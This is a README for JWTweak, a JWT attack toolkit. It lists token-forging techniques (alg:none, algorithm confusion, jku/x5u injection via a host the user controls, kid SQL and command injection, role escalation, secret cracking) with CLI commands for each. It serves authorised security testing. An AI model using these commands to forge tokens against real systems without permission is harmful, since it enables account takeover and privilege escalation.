JWTweak

Introduction

With the global increase in JSON Web Token (JWT) usage, the JWT attack surface has grown well beyond the classic alg switch. JWTweak v2.0 is a JWT security‑testing toolkit that detects the algorithm of an input token, analyses it for risky configuration, and generates forged or tampered tokens across a wide range of modern attack classes — so you can quickly check how a target validates (or fails to validate) its JWTs.

It runs as an interactive menu for exploration and as a scriptable CLI for automation and pipelines.

⚠️ For authorised security testing and research only. Only test systems you own or have explicit permission to assess.

What’s new in v2.0

• Algorithm confusion (RS/EC → HS) done correctly with manual HMAC signing, so it works against modern libraries that block public keys as HMAC secrets.
• Key‑resolution header injection: jwk (CVE‑2018‑0114), jku (attacker‑hosted JWKS), x5u / x5c (attacker certificate).
• kid injection: path traversal (/dev/null → empty key), SQL injection, command‑injection probes.
• Claim tampering: drop/extend exp, escalate role/admin, edit or replace any claim.
• HMAC secret brute‑force with a wordlist (offline secret cracking).
• Modern algorithms for re‑signing: HS256/384/512, RS*, PS*, ES256/384/512, EdDSA.
• alg:none casing variants (none, None, NONE, nOnE) and signature stripping/bit‑flip.
• Risk analysis of the input token (flags none, weak HMAC, jku/jwk/x5u/kid, missing/expired exp, …).
• Full attack suite that emits every candidate token to a file for use in Burp/Repeater or a fuzzer.
• Reworked UX: grouped looping menu, colour output (auto‑disabled when piped or via --no-color), token from string/file/stdin, and a full argparse CLI.
• Fixed compatibility with PyJWT 2.x (the previous .decode('utf') call no longer exists) and migrated key/cert handling to the maintained cryptography library.

Requirements

• Python 3.8+
• pip install -r requirements.txt (PyJWT and cryptography)

Usage

Interactive

python3 JWTweak.py
# or pass a token / file up front
python3 JWTweak.py -t eyJhbG...        # token string
python3 JWTweak.py -t token.jwt        # file containing a token

Non‑interactive (scriptable)

# Decode and risk-analyse
python3 JWTweak.py -t token.jwt --decode

# alg:none variants
python3 JWTweak.py -t token.jwt --attack none

# Algorithm confusion using the target's public key
python3 JWTweak.py -t token.jwt --attack confusion --public-key pub.pem

# Embed an attacker key in the jwk header (CVE-2018-0114)
python3 JWTweak.py -t token.jwt --attack jwk

# jku / x5u injection (point at a host you control)
python3 JWTweak.py -t token.jwt --attack jku --jku https://you.example/jwks.json
python3 JWTweak.py -t token.jwt --attack x5 --x5u https://you.example/cert.pem

# kid path traversal / SQLi / command-injection probes
python3 JWTweak.py -t token.jwt --attack kid --injected-key mykey

# Tamper claims, then re-sign as needed
python3 JWTweak.py -t token.jwt --attack tamper --set-claim role=admin --set-claim isAdmin=true
python3 JWTweak.py -t token.jwt --attack resign --alg ES256

# Crack a weak HMAC secret
python3 JWTweak.py -t token.jwt --attack crack --wordlist rockyou.txt

# Run the whole battery and save every candidate token
python3 JWTweak.py -t token.jwt --attack suite --public-key pub.pem -o tokens.txt

Attack coverage

| Area | Options | | — | — | | Recon | decode + risk analysis | | Signature / algorithm | alg:none variants, algorithm confusion, re‑sign (HS/RS/PS/ES/EdDSA), signature strip / bit‑flip | | Key‑resolution headers | jwk, jku, x5u, x5c injection | | Key ID | kid path traversal, SQLi, command‑injection | | Claims | drop/extend exp, role/admin escalation, arbitrary claim edits | | Cracking | HMAC secret brute‑force (wordlist) | | Automation | full attack suite → file |

Author

Rishu Ranjan